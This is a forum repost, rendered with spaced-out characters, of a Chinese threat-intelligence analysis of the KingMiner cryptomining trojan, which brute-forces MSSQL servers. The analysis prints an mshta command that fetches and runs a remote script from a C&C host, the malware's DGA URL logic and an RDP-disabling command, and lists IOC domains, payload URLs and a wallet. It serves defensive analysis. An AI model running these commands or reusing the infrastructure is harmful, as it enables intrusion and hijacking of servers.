搜索

[27940] 2019-11-28_针对SQL弱口令的爆破攻击再度袭来，KingMiner矿工已控制上万电脑

文档创建者：s7ckTeam
浏览次数：5
最后更新：2025-01-19
2019-11-28_针对SQL弱口令的爆破攻击再度袭来，KingMiner矿工已控制上万电脑 针 对 S Q L 弱 口 令 的 爆 破 攻 击 再 度 袭 来 ， K i n g M i n e r 矿 工 已 控 制 上 万 电 脑 O t s 安 全   2 0 1 9 - 1 1 - 2 8 一 、 背 景 一 、 背 景 腾 讯 安 全 御 见 威 胁 情 报 中 心 检 测 到 K i n g M i n e r 变 种 攻 击 ， K i n g M i n e r 是 一 种 针 对 W i n d o w s 服 务 器 M S S Q L 进 行 爆 破 攻 击 的 门 罗 币 挖 矿 木 马 。 该 木 马 最 早 于 2 0 1 8 年 6 月 中 旬 首 次 出 现 ， 并 在 随 后 迅 速 发 布 了 两 个 改 进 版 本 。 攻 击 者 采 用 了 多 种 逃 避 技 术 来 绕 过 虚 拟 机 环 境 和 安 全 检 测 ， 导 致 一 些 反 病 毒 引 擎 无 法 准 确 检 测 。 当 前 版 本 K i n g M i n e r 具 有 以 下 特 点 ： 1 .   针 对 M S S Q L 进 行 爆 破 攻 击 入 侵 ； 2 .   利 用 W M I 定 时 器 和 W i n d o w s 计 划 任 务 进 行 持 久 化 攻 击 ； 3 .   关 闭 存 在 C V E - 2 0 1 9 - 0 7 0 8 漏 洞 机 器 上 R D P 服 务 防 止 其 他 挖 矿 团 伙 入 侵 ， 以 独 占 已 控 制 的 服 务 器 资 源 ； 4 .   使 用 b a s e 6 4 和 特 定 编 码 的 X M L ， T X T ， P N G 文 件 来 加 密 木 马 程 序 ； 5 .   利 用 微 软 和 多 个 知 名 厂 商 的 签 名 文 件 作 为 父 进 程 ， “ 白 + 黑 ” 启 动 木 马 D L L 。 根 据 腾 讯 安 全 御 见 威 胁 情 报 中 心 统 计 数 据 ， K i n g M i n e r 影 响 超 过 一 万 台 电 脑 ， 其 中 受 影 响 最 严 重 的 地 区 为 广 东 、 重 庆 、 北 京 、 上 海 等 地 。   二 、 详 细 分 析 二 、 详 细 分 析 K i n g M i n e r 在 M S S Q L 爆 破 入 侵 成 功 后 ， 首 先 执 行 一 段 V B S 脚 本 ( t l . t x t / v k . t x t ) ， 检 测 操 作 系 统 版 本 ， 并 根 据 不 同 的 系 统 版 本 下 载 不 同 的 P a y l o a d 文 件 ， 利 用 下 载 的 文 件 进 行 提 权 以 及 门 罗 币 挖 矿 。 同 时 还 会 安 装 W M I 定 时 器 和 W i n d o w s 计 划 任 务 来 反 复 执 行 指 定 脚 本 ， 执 行 服 务 器 返 回 的 恶 意 代 码 达 到 持 久 化 攻 击 的 目 的 。 K i n g M i n e r 变 种 攻 击 流 程 提 权 提 权 v k . t x t 从 h t t p [ : ] / /   w . 3 0 7 1 3 f d a e . t k / 3 2 t l . z i p 下 载 经 过 b a s e 6 4 编 码 的 二 进 制 b l o b 文 件 ， 经 过 解 码 后 保 存 为 C : U s e r s P u b l i c D o w n l o a d s < r a n d o m > t o o l . e x e   t o o l . e x e   利 用 W i n d o w s 权 限 提 升 漏 洞 C V E - 2 0 1 9 - 0 8 0 3 进 行 攻 击 ， 成 功 利 用 此 漏 洞 的 攻 击 者 可 以 在 内 核 模 式 下 运 行 任 意 代 码 ， 然 后 可 以 安 装 程 序 ； 查 看 、 更 改 或 删 除 数 据 ； 或 创 建 具 有 完 全 用 户 权 限 的 新 帐 户 。 t o o l . e x e 在 特 权 模 式 下 执 行 命 令 m s h t a . e x e   v b s c r i p t : G e t O b j e c t ( " s c r i p t : h t t p [ : ] / / a a . 3 0 5 8 3 f d a e . t k / r 1 . t x t " ) ( w i n d o w . c l o s e ) ， 通 过 m s h t a . e x e 执 行 脚 本 r 1 . t x t 来 进 行 持 久 化 。  
持 久 化 持 久 化 计 时 器 计 时 器 r 1 . t x t 配 置 名 为 W i n d o w s S y s t e m U p d a t e   _ W M I T i m e r 的 计 时 器 ， 并 将 执 行 一 段 脚 本 代 码 的 事 件 消 费 者 W i n d o w s S y s t e m U p d a t e   _ c o n s u m e r 通 过 事 件 过 滤 器 W i n d o w s S y s t e m U p d a t e   _ f i l t e r 绑 定 到 计 时 器 ， 从 而 通 过 计 时 器 每 1 5 分 钟 执 行 一 次 下 面 的 V B S 脚 本 代 码 ：   这 段 V B S 代 码 根 据 不 同 情 况 采 取 两 种 方 法 生 成 U R L ， 接 着 通 过 访 问 生 成 的 U R L 下 载 第 二 阶 段 的 P a y l o a d 运 行 。 1 . U R L 由 I P 地 址 转 化 为 A S C I I 后 拼 接 而 成 脚 本 运 行 n s l o o k u p 命 令 查 询 C & C 域 名 n e w s . g 2 3 t h r . c o m 的 D N S 记 录 ， 当 n e w s . g 2 3 t h r . c o m 解 析 的 I P 地 址 为 x x x . x x x . x x x . 1 2 0 ， 则 访 问 U R L “ h t t p : / / ” + c h r ( x x x ) + c h r ( x x x ) + c h r ( x x x ) + ” x f g h h . c o m / m g x b o x . t x t ” 2 . U R L 由 与 时 间 相 关 的 D G A 域 名 拼 接 而 成 当 查 询 D N S 返 回 I P 不 符 合 指 定 格 式 ， 则 D G A 域 名 通 过 当 前 时 间 的 年 、 月 、 日 、 分 钟 、 秒 数 值 计 算 得 到 ， 算 法 如 下 ： u   = ( h e x ( ( y e a r ( n o w ( ) ) - 2 0 0 0 ) & M o n t h ( n o w ( ) ) & ( d a y ( n o w ( ) ) 7 ) & ( y e a r ( n o w ( ) ) - 2 0 0 0 ) ) ) & " f d a e . t k " u r l   =   " h t t p : / / " & m i n u t e ( n o w ( ) ) & s e c o n d ( n o w ( ) ) & " . " & u & " / m g x b o x . t x t " 计 划 任 务 计 划 任 务 r 1 . t x t 通 过 R e g i s t e r T a s k D e f i n i t i o n 创 建 名 为 W i n d o w s M o n i t o r 的 计 划 任 务 ， 每 1 5 分 钟 执 行 一 次 如 下 脚 本 ； 或 者 安 装 触 发 条 件 为 系 统 启 动 的 计 划 任 务 W i n d o w s H e l p e r ， 并 在 W i n d o w s H e l p e r 触 发 后 再 次 安 装 W i n d o w s M o n i t o r 定 时 任 务 执 行 同 一 段 脚 本 ：   计 划 任 务 最 终 执 行 的 脚 本 如 下 ：   计 划 任 务 执 行 的 V B S 脚 本 与 W M I T i m e r 执 行 的 脚 本 类 似 ， 通 过 D N S 查 询 返 回 的 数 据 ， 或 者 获 取 时 间 转 换 后 生 成 的 D G A 域 名 拼 接 U R L ， 执 行 访 问 U R L 后 返 回 的 代 码 。 u r l = “ h t t p : / / ” + c h r ( x x x ) + c h r ( x x x ) + c h r ( x x x ) + ” x f g h h . c o m / p o w . t x t ” 或 者 u   = ( h e x ( ( y e a r ( n o w ( ) ) - 2 0 0 0 ) & M o n t h ( n o w ( ) ) & ( d a y ( n o w ( ) ) 7 ) & ( y e a r ( n o w ( ) ) - 2 0 0 0 ) ) ) & " f d a e . t k " u r l   =   " h t t p : / / " & m i n u t e ( n o w ( ) ) & s e c o n d ( n o w ( ) ) & " . " & u & " / p o w . t x t " 当 前 访 问 u r l 返 回 的 代 码 如 下 ： C r e a t e O b j e c t ( " W S c r i p t . S h e l l " ) . R u n   " c m d   / c   v e r   | f i n d s t r     " " 5 . 0   5 . 1   5 . 2   6 . 0   6 . 1 " " & & w m i c   q f e   G E T   h o t f i x i d   | f i n d s t r   / i   " " k b 4 4 9 9 1 7 5   k b 4 5 0 0 3 3 1   K B 4 4 9 9 1 4 9   K B 4 4 9 9 1 8 0   K B 4 4 9 9 1 6 4 " " | | w m i c   R D T O G G L E   W H E R E   S e r v e r N a m e = ' % C O M P U T E R N A M E % '   c a l l   S e t A l l o w T S C o n n e c t i o n s   0 " , 0 , F a l s e 返 回 代 码 的 功 能 为 ：
获 取 计 算 机 版 本 并 判 断 计 算 机 版 本 是 否 受 C V E - 2 0 1 9 - 0 7 0 8 漏 洞 的 影 响 且 计 算 机 是 否 安 装 特 定 补 丁 ( k b 4 4 9 9 1 7 5   k b 4 5 0 0 3 3 1   K B 4 4 9 9 1 4 9   K B 4 4 9 9 1 8 0   K B 4 4 9 9 1 6 4 为 微 软 发 布 的 C V E - 2 0 1 9 - 0 7 0 8 远 程 桌 面 服 务 远 程 代 码 执 行 漏 洞 的 补 丁 号 ) 。 如 果 没 有 安 装 补 丁 ， 则 修 改 设 置 禁 止 其 他 机 器 通 过 远 程 桌 面 服 务 访 问 本 机 ， 通 过 这 种 方 式 来 阻 止 其 他 木 马 进 入 系 统 ， 从 而 达 到 独 占 挖 矿 资 源 的 目 的 。 挖 矿 挖 矿 v b s 脚 本 t l . t x t 从 h t t p [ : ] / /   w . 3 0 7 1 3 f d a e . t k / 3 2 a 1 . z i p 下 载 经 过 b a s e 6 4 编 码 的 二 进 制 b l o b 文 件 。   文 件 解 码 并 解 压 后 保 存 至 C : U s e r s P u b l i c D o w n l o a d s < r a n d o m > 目 录 下 ， 其 中 < r a n d o m > 为 取 当 前 时 间 “ 年 月 日 时 分 秒 ” 格 式 生 成 的 字 符 。   a l g e r . e x e 为 微 软 系 统 文 件 c r e d w i z . e x e d ， 功 能 描 述 为 C r e d e n t i a l   B a c k u p   a n d   R e s t o r e   W i z a r d ( 凭 据 备 份 和 还 原 向 导 ) ， 该 程 序 在 启 动 后 自 动 加 载 系 统 D L L 文 件 d u e r . d l l 并 调 用 其 导 出 函 数 I n i t G a d g e t s ( ) 。   除 了 微 软 系 统 文 件 外 ， K i n g M i n e r 在 挖 矿 木 马 的 “ 白 + 黑 ” 启 动 过 程 中 还 利 用 了 多 个 知 名 公 司 的 含 数 字 签 名 的 文 件 来 逃 避 杀 软 检 测 ， 利 用 正 常 的 有 数 字 签 名 的 白 文 件 来 调 用 恶 意 d l l ， 目 前 发 现 的 包 括 以 下 数 字 签 名 ： “ G u a n g Z h o u   K u G o u   C o m p u t e r   T e c h n o l o g y   C o . , L t d . ” “ G o o g l e   I n c ” “ 福 建 创 意 嘉 和 软 件 有 限 公 司 ”   3 2 a 1 . z i p / 6 4 a 1 . z i p 解 压 后 在 同 一 目 录 下 释 放 受 信 任 的 系 统 文 件 a l g e r . e x e （ c r e d w i z . e x e d ） 和 恶 意 的 d u e r . d l l ， 利 用 a l g e r . e x e 加 载 d u e r . d l l 并 调 用 其 导 出 的 I n i t G a d g e t s ( ) ， 从 而 在 I n i t G a d g e t s ( ) 中 解 密 保 存 在 同 目 录 下 的 x . t x t 或 x / y / z . p n g 中 的 X M R i g 挖 矿 程 序 代 码 ， 并 启 动 门 罗 币 挖 矿 过 程 。  
三 、 安 全 建 议 三 、 安 全 建 议 我 们 建 议 企 业 针 对 K i n g M i n e r 挖 矿 木 马 的 技 术 特 点 采 取 针 对 性 的 防 御 措 施 ： 1 . 根 据 微 软 官 方 公 告 修 复 特 权 提 升 漏 洞 C V E - 2 0 1 9 - 0 8 0 3 ： h t t p s : / / p o r t a l . m s r c . m i c r o s o f t . c o m / e n - U S / s e c u r i t y - g u i d a n c e / a d v i s o r y / C V E - 2 0 1 9 - 0 8 0 3 2 、 加 固 S Q L   S e r v e r 服 务 器 ， 修 补 服 务 器 安 全 漏 洞 。 使 用 安 全 的 密 码 策 略 ， 使 用 高 强 度 密 码 ， 切 勿 继 续 使 用 弱 口 令 ， 特 别 是 s a 账 号 密 码 ， 防 止 黑 客 暴 力 破 解 。 3 、 修 改 S Q L   S e v e r 服 务 默 认 端 口 ， 在 原 始 配 置 基 础 上 更 改 默 认 1 4 3 3 端 口 设 置 ， 并 且 设 置 访 问 规 则 ， 拒 绝 1 4 3 3 端 口 探 测 。 I O C s   @ K i n g M i n e r I P 1 0 7 . 1 5 4 . 1 6 1 . 2 0 9 1 0 7 . 1 5 4 . 1 5 8 . 3 9   D o m a i n q . 1 1 2 a d f d a e . t k q . 3 0 5 8 3 f d a e . t k a a . 3 0 5 8 3 f d a e . t k w . 3 0 7 1 3 f d a e . t k a . 1 b 0 5 1 f d a e . t k n e w s . g 2 3 t h r . c o m a . q w e r r . g a w . d d f f 1 . t k M d 5 d u s e r . d l l   2 0 e 5 0 2 f f 9 7 7 b 3 3 6 d 9 e 7 7 8 5 1 8 6 b 1 6 c 6 8 a 7 8 b 5 6 b 9 2 c 2 e 7 a 4 2 5 2 0 f b 9 9 a 8 4 d 7 8 c f 9 2 a c t i v e _ d e s k t o p _ r e n d e r _ x 6 4 . d l l 2 1 0 4 8 f f 0 2 8 9 4 6 5 6 b 5 b 2 4 d 4 e d 3 c 8 a 2 8 8 2 g o o p d a t e . d l l 7 d e f 0 5 8 c 5 d 2 a c b 6 6 0 f 3 9 4 d 0 4 b 4 6 9 8 5 8 0 s o u n d b o x . d l l 8 8 a 5 c 4 6 4 5 c 2 a 9 d 0 4 8 1 f d 0 a 8 4 6 e 4 9 b 7 7 3 6 4 t l . z i p b e 4 5 9 5 9 b c 0 4 3 a 4 f e 8 8 3 5 1 c d 0 3 2 8 9 f 2 4 0 6 4 a 1 . z i p 4 d 9 1 0 c b 7 1 c 2 f 5 5 b d e 4 8 5 2 1 f 7 a e 0 6 2 d a 4 3 2 a 1 . z i p 4 6 5 3 7 3 b 7 4 d 1 6 3 0 2 8 a d d 7 0 f 0 d 2 b 0 9 6 6 d 0     2 3 e f 4 d a 8 0 f 6 9 8 5 a 7 8 c 4 a 5 9 4 6 7 a c 4 6 1 2 f 3 2 t l . z i p e 0 9 9 4 7 8 7 5 b 4 7 2 2 a a b 0 6 7 c 4 d 0 c 4 b 3 0 3 8 4 r 1 . t x t 2 1 c b 0 1 5 5 3 d 9 2 b e e 4 f e f c 0 0 6 9 d b 1 f d 5 e a       c 5 6 8 d 6 0 2 8 7 3 5 c d c 2 a 1 d d d 3 c 0 1 f 1 4 c a 8 0 t l . t x t b 0 a b 6 7 4 b 8 4 2 8 2 2 3 5 8 b e 8 c d 5 f 6 d c 9 1 5 5 4 v k . t x t e 3 a c c f 5 a 6 f 5 8 9 3 2 e 5 6 1 9 2 b f b c b f 0 8 0 4 c     c 8 7 4 d b b 6 b f 3 6 6 4 9 9 0 b 5 7 d 0 7 d 7 d 2 2 0 e e 6 n . t x t 2 b 7 0 2 a 2 2 9 6 3 4 4 8 c 1 6 4 d b 2 6 8 0 7 a 3 0 8 d 5 0     p o w . t x t / m g x b o x . t x t 0 3 d 2 4 6 7 5 d 4 d e 1 2 b c d 0 7 6 e 7 e f f 2 1 3 a 8 a 4
h t a k . t x t 5 f d 4 7 b 2 b e 0 1 0 0 4 e 4 1 2 9 0 b f 7 6 5 8 c 7 a d 5 a t o o l . e x e 4 8 9 9 7 6 2 1 3 4 c 0 d 2 d 8 f b b a e c c 2 8 9 a 0 c 7 4 e U R L h t t p [ : ] / / 4 0 5 6 . 3 0 9 c f f d a e . t k / v k . t x t h t t p [ : ] / / 3 0 2 3 . 3 0 9 c f f d a e . t k / v k . t x t h t t p [ : ] / / 5 3 1 1 . 1 d 2 8 e b f d a e . c o m / p o w . t x t h t t p [ : ] / / 3 8 4 3 . 1 d 2 8 e b f d a e . c o m / p o w . t x t h t t p [ : ] / / 5 9 2 1 . 1 d 2 8 e b f d a e . c o m / m g x b o x . t x t h t t p [ : ] / / w w 3 3 . 3 0 9 6 b f d a e . c o m / 3 2 a 1 . c a b h t t p [ : ] / / w w 3 3 . 3 0 9 6 b f d a e . c o m / 6 4 a 1 . c a b h t t p [ : ] / / a . q w e r r . g a / 3 2 a . z i p h t t p [ : ] / / a . q w e r r . g a / 6 4 f . z i p h t t p [ : ] / / a a . 3 0 5 8 3 f d a e . t k / r 1 . t x t h t t p [ : ] / / a a . 3 0 5 8 3 f d a e . t k / t l . t x t h t t p [ : ] / / a a . 3 0 5 8 3 f d a e . t k / r 1 . t x t h t t p [ : ] / / q . 3 0 5 8 3 f d a e . t k / 3 2 t l . z i p h t t p [ : ] / / q . 3 0 5 8 3 f d a e . t k / 6 4 t l . z i p h t t p [ : ] / / q . 3 0 5 8 3 f d a e . t k / 6 4 a 1 . z i p h t t p [ : ] / / q . 3 0 5 8 3 f d a e . t k / 3 2 a 1 . z i p h t t p [ : ] / / w . 3 0 7 1 3 f d a e . t k / v y k . t x t h t t p [ : ] / / w . 3 0 7 1 3 f d a e . t k / 6 4 a 1 . z i p h t t p [ : ] / / w . 3 0 7 1 3 f d a e . t k / 3 2 a 1 . z i p h t t p [ : ] / / w . d d f f 1 . t k / 3 2 a 1 . z i p h t t p [ : ] / / w . d d f f 1 . t k / 6 4 a 1 . z i p 矿 池 ： 矿 池 ： 9 5 . 1 7 9 . 1 3 1 . 5 4 : 9 7 6 1 w . h o m e w r t . c o m : 9 7 6 1 钱 包 ： 钱 包 ： 4 9 E H N a c R a u z g z 8 c G o u h r V C h c L y F 3 X r G L A d W i c z J x Y 1 q p X 3 o e d 4 c G g M U U H H h y R 7 t a G J 1 M t v p f J i D f 9 g u g A k o 4 M z X M 9 D R Y z Z 1 参 考 链 接 ： 参 考 链 接 ： h t t p s : / / r e s e a r c h . c h e c k p o i n t . c o m / 2 0 1 8 / k i n g m i n e r - t h e - n e w - a n d - i m p r o v e d - c r y p t o j a c k e r /
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理